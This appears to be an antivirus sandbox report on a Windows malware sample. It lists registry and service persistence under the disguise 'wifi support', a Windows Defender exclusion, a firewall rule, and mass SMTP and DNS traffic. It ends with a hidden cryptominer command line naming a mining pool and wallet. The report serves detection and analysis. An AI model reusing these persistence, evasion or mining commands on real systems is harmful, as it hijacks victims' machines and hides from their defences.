Technical Information
- [<HKLM>\System\CurrentControlSet\Services\xpwkiajp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\xpwkiajp] 'ImagePath' = '%WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\xpwkiajp] 'ImagePath' = '%WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe'
- 'xpwkiajp' %WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe /d"<Full path to file>"
- 'xpwkiajp' %WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\xpwkiajp' = '00000000'
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
- %WINDIR%\syswow64\svchost.exe
- %TEMP%\nbndrluc.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
- from %TEMP%\nbndrluc.exe to %WINDIR%\syswow64\xpwkiajp\nbndrluc.exe
- 'mi##########m.mail.protection.outlook.com':25
- 'go##le.nl':443
- 'as###.daum.net':25
- 'cf#####com.mx.av-mx.com':25
- 'na#.###.#rotection.outlook.com':25
- 'mx.##a.untd.com':25
- 'mx.##wered.name':25
- 'cx#.##.#.cloudfilter.net':25
- 'mx#.#ate.com':25
- 'in###gram.com':443
- 'mx.##s.untd.com':25
- 'ab######le.com.1.arsmtp.com':25
- 'mx##.schlund.de':25
- 'ma##.#iaweb.co.kr':25
- 'mx##.###us-vadesecure.net':25
- 'mx#######901.gslb.pphosted.com':25
- 'xm###chool.cf':2222
- 'mt#######.#et.mx1.greymail.rcimx.net':25
- 'mx#######601.gslb.pphosted.com':25
- '10#.#62.165.235':443
- 'ma####t.ocgov.org':25
- 'mx.##nmail.nl':25
- 'pa####x.above.com':25
- 'ma###.#ailinator.com':25
- 'sm###.a1.net':25
- 'ma##.##st-my-mail.com':25
- 'pu######1.mail2world.com':25
- '15#.#40.205.63':443
- 'go###e.co.uk':443
- 'so####1.sohu.com':25
- 'ma##.##tfirms-inc.com':25
- 'no########.net.mx1.nstel.rcimx.net':25
- 'sm####office.net':25
- 'uq#c.ca':443
- 'mx##.###g.kundenserver.de':25
- 'ch##.#ennolab.com':443
- 'ma##.mlec2.net':25
- 'co#######.#et.mx2.greymail.rcimx.net':25
- 'mx##.mb5p.com':25
- 'cu####house.ua.edu':443
- 'cs##.umbc.edu':443
- 'ca#.##rusfree.cz':25
- 'ALT1.ASPMX.L.GOOGLE.COM':25
- 'mx##.mail.com':25
- 'ma##.merge.com':25
- 'ex#####e.sexpays.info':25
- 'mx#######d01.gslb.pphosted.com':25
- 'mx#.####.net.gslb.pphosted.com':25
- '91.#43.33.5':427
- '31.#3.64.52':443
- 'wa####-api.btc.com':443
- 'm.###tube.com':443
- 'google.com':443
- '15#.#40.201.174':443
- '14#.#50.27.108':993
- 'google.com':80
- '62.##4.41.49':427
- 'mx#######701.gslb.pphosted.com':25
- 'ma##.##ubleupmobile.com':25
- '62.##4.41.48':427
- '62.##4.41.47':427
- '62.##4.41.46':427
- 'mx#.#eznam.cz':25
- 'mx#.#aver.com':25
- 'aspmx.l.google.com':25
- 'mx.#p.pl':25
- '62.##4.41.45':483
- 'ni###eimr.cn':443
- '62.##4.41.50':427
- 'uh###.ilstu.edu':443
- 'mx#.##avis99.com':25
- 'sm##.##lb.stifel.com':25
- 'mx#######f01.gslb.pphosted.com':25
- 'r-####3.korea.com':25
- 'go##le.ca':443
- 'mx######91d01.pphosted.com':25
- 'em##.freenet.de':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'gm###.##m.1.0001.arsmtp.com':25
- 'ma#########ty.net.mx1.mctc.rcimx.net':25
- 'mx#########st-2.prod.hydra.sophos.com':25
- 'mx##.##il.icloud.com':25
- 'ex#####.bpbb.bigpond.com':25
- 'm.###ebook.com':443
- 'mx##.#-online.de':25
- 'gmr-smtp-in.l.google.com':25
- 'go###e.com.my':443
- 'ma###.gridhost.com':25
- 'ya#####net.mx.av-mx.com':25
- 'mx#.#anmail.net':25
- 'fr#####.#inamail.sina.com.cn':25
- 'mx#######501.gslb.pphosted.com':25
- 'd1######.#ss.barracudanetworks.com':25
- 'ma##.#-email.net':25
- http://www.google.com/
- 'ni###eimr.cn':443
- '10#.#62.165.235':443
- 'mt#######.#et.mx1.greymail.rcimx.net':25
- 'xm###chool.cf':2222
- 'r-####3.korea.com':25
- 'ma##.#iaweb.co.kr':25
- 'ma####t.ocgov.org':25
- 'in###gram.com':443
- 'na#.###.#rotection.outlook.com':25
- 'as###.daum.net':25
- 'go##le.nl':443
- 'sm####office.net':25
- 'ab######le.com.1.arsmtp.com':25
- 'pa####x.above.com':25
- 'cs##.umbc.edu':443
- 'ma##.##st-my-mail.com':25
- 'ma##.merge.com':25
- 'ca#.##rusfree.cz':25
- 'cu####house.ua.edu':443
- 'mx##.mb5p.com':25
- 'ch##.#ennolab.com':443
- 'ma##.mlec2.net':25
- 'alt2.aspmx.l.google.com':25
- 'uh###.ilstu.edu':443
- 'no########.net.mx1.nstel.rcimx.net':25
- 'go###e.co.uk':443
- '15#.#40.205.63':443
- 'pu######1.mail2world.com':25
- '<DNS_SERVER>':53
- 'ex#####e.sexpays.info':25
- 'ALT1.ASPMX.L.GOOGLE.COM':25
- 'ma##.##ubleupmobile.com':25
- 'm.###ebook.com':443
- '62.##4.41.45':483
- '62.##4.41.48':427
- '62.##4.41.46':427
- '62.##4.41.47':427
- '62.##4.41.50':427
- '62.##4.41.49':427
- '91.#43.33.5':427
- '14#.#50.27.108':993
- '15#.#40.201.174':443
- 'google.com':443
- 'm.###tube.com':443
- 'wa####-api.btc.com':443
- '31.#3.64.52':443
- 'aspmx.l.google.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx#.#aver.com':25
- 'mx#.#eznam.cz':25
- 'ya#####net.mx.av-mx.com':25
- 'mx#.#anmail.net':25
- 'mx#.##avis99.com':25
- 'go###e.com.my':443
- 'gmr-smtp-in.l.google.com':25
- 'fr#####.#inamail.sina.com.cn':25
- 'd1######.#ss.barracudanetworks.com':25
- 'gm###.##m.1.0001.arsmtp.com':25
- 'ma#########ty.net.mx1.mctc.rcimx.net':25
- 'mx#########st-2.prod.hydra.sophos.com':25
- 'go##le.ca':443
- 'mx#.####.net.gslb.pphosted.com':25
- 'ma###.#ailinator.com':25
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK pa##n.com
- DNS ASK as###.daum.net
- DNS ASK go##le.nl
- DNS ASK ma###sdkr.com
- DNS ASK uq#c.ca
- DNS ASK ab###title.com
- DNS ASK na##.com
- DNS ASK ab######le.com.1.arsmtp.com
- DNS ASK pa####x.above.com
- DNS ASK do###ator.com
- DNS ASK ma##.merge.com
- DNS ASK em##l.cz
- DNS ASK le###gton1.net
- DNS ASK ALT1.ASPMX.L.GOOGLE.COM
- DNS ASK ce##rum.cz
- DNS ASK da##.net
- DNS ASK be###uth.net
- DNS ASK cf#####com.mx.av-mx.com
- DNS ASK cf##th.com
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK wi###wslive.com
- DNS ASK mx##.schlund.de
- DNS ASK ne##ero.net
- DNS ASK oc##ean.com
- DNS ASK mx.##s.untd.com
- DNS ASK ma####t.ocgov.org
- DNS ASK cs.com
- DNS ASK ca#.##rusfree.cz
- DNS ASK zi###chool.com
- DNS ASK ea###link.net
- DNS ASK in###gram.com
- DNS ASK co#.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK in##eo.biz
- DNS ASK re###mail.org
- DNS ASK mx.##wered.name
- DNS ASK ju##.com
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK mx.##a.untd.com
- DNS ASK mx#.#ate.com
- DNS ASK ci###lean.de
- DNS ASK cs##.umbc.edu
- DNS ASK ma#####highschool.org
- DNS ASK ma###nmng.org
- DNS ASK go###e.co.uk
- DNS ASK pe###anor.net
- DNS ASK ma###007.com
- DNS ASK pu######1.mail2world.com
- DNS ASK ar###ron.com
- DNS ASK os###stems.com
- DNS ASK ma##.##tfirms-inc.com
- DNS ASK ma##.##st-my-mail.com
- DNS ASK sm###.a1.net
- DNS ASK cu####bulldogs.net
- DNS ASK ma###nator.com
- DNS ASK ma###.#ailinator.com
- DNS ASK in#####denthealth.com
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK pe##ec.com
- DNS ASK so####1.sohu.com
- DNS ASK ne###ape.com
- DNS ASK so##.com
- DNS ASK ne###rms.com
- DNS ASK ex#####.bpbb.bigpond.com
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK ch##p.com
- DNS ASK co###rium.net
- DNS ASK co#######.#et.mx2.greymail.rcimx.net
- DNS ASK as####fjrmail.com
- DNS ASK md##.com
- DNS ASK cu####house.ua.edu
- DNS ASK mx##.mb5p.com
- DNS ASK in###star.net
- DNS ASK ml##2.net
- DNS ASK mx##.###g.kundenserver.de
- DNS ASK ma##.com
- DNS ASK mx##.mail.com
- DNS ASK uh###.ilstu.edu
- DNS ASK no###state.net
- DNS ASK no########.net.mx1.nstel.rcimx.net
- DNS ASK ch##.#ennolab.com
- DNS ASK ma##.mlec2.net
- DNS ASK go##ore.de
- DNS ASK ma##.#iaweb.co.kr
- DNS ASK vi###b.co.kr
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK mx#.##avis99.com
- DNS ASK se##am.cz
- DNS ASK je####schools.us
- DNS ASK ic##ud.com
- DNS ASK mx##.##il.icloud.com
- DNS ASK si##.com
- DNS ASK fr#####.#inamail.sina.com.cn
- DNS ASK us##ink.com
- DNS ASK st##el.com
- DNS ASK am###trade.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK te##s.net
- DNS ASK ha##ail.net
- DNS ASK mx#.#anmail.net
- DNS ASK ya##el.net
- DNS ASK sr##et.com
- DNS ASK ma##.##ubleupmobile.com
- DNS ASK ma###sdkr.net
- DNS ASK do####upmobile.com
- DNS ASK m.###ebook.com
- DNS ASK ni###eimr.cn
- DNS ASK wp.pl
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK mx.#p.pl
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK sc##lus.org
- DNS ASK aspmx.l.google.com
- DNS ASK ya#####net.mx.av-mx.com
- DNS ASK na##r.com
- DNS ASK sm##.##lb.stifel.com
- DNS ASK po#t.cz
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK google.com
- DNS ASK m.###tube.com
- DNS ASK wa####-api.btc.com
- DNS ASK mx#.#aver.com
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK mx#.#eznam.cz
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK ma###.gridhost.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK oc##.net
- DNS ASK mx#.####.net.gslb.pphosted.com
- DNS ASK ko##a.com
- DNS ASK r-####3.korea.com
- DNS ASK ch#####schoolsusa.com
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK at#.com
- DNS ASK go###e.com.my
- DNS ASK go##le.ca
- DNS ASK sm####office.net
- DNS ASK fb.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK mt###line.net
- DNS ASK mt#######.#et.mx1.greymail.rcimx.net
- DNS ASK xm###chool.cf
- DNS ASK ao##ith.com
- DNS ASK as###eemail.net
- DNS ASK se###ys.info
- DNS ASK ex#####e.sexpays.info
- DNS ASK a1.net
- DNS ASK ma##.#-email.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK gmr-smtp-in.l.google.com
- DNS ASK t-##line.de
- DNS ASK mx##.#-online.de
- DNS ASK ti##ali.nl
- DNS ASK mx.##nmail.nl
- DNS ASK ea##e.ca
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK fr##net.de
- DNS ASK em##.freenet.de
- DNS ASK bi###nd.net.au
- DNS ASK ps###hools.org
- DNS ASK mx#########st-2.prod.hydra.sophos.com
- DNS ASK ma####ncounty.net
- DNS ASK ma#########ty.net.mx1.mctc.rcimx.net
- DNS ASK gm##l.com
- DNS ASK gm###.##m.1.0001.arsmtp.com
- DNS ASK ve##zon.net
- DNS ASK go####groups.com
- DNS ASK ko###kmail.com
- DNS ASK go##le.be
- '%WINDIR%\syswow64\xpwkiajp\nbndrluc.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xpwkiajp\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\nbndrluc.exe" %WINDIR%\SysWOW64\xpwkiajp\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create xpwkiajp binPath= "%WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description xpwkiajp "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start xpwkiajp' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xpwkiajp\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\nbndrluc.exe" %WINDIR%\SysWOW64\xpwkiajp\
- '%WINDIR%\syswow64\sc.exe' create xpwkiajp binPath= "%WINDIR%\SysWOW64\xpwkiajp\nbndrluc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description xpwkiajp "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start xpwkiajp
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o xmr-school.cf:2222 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+50000 -p x -k -a cn/half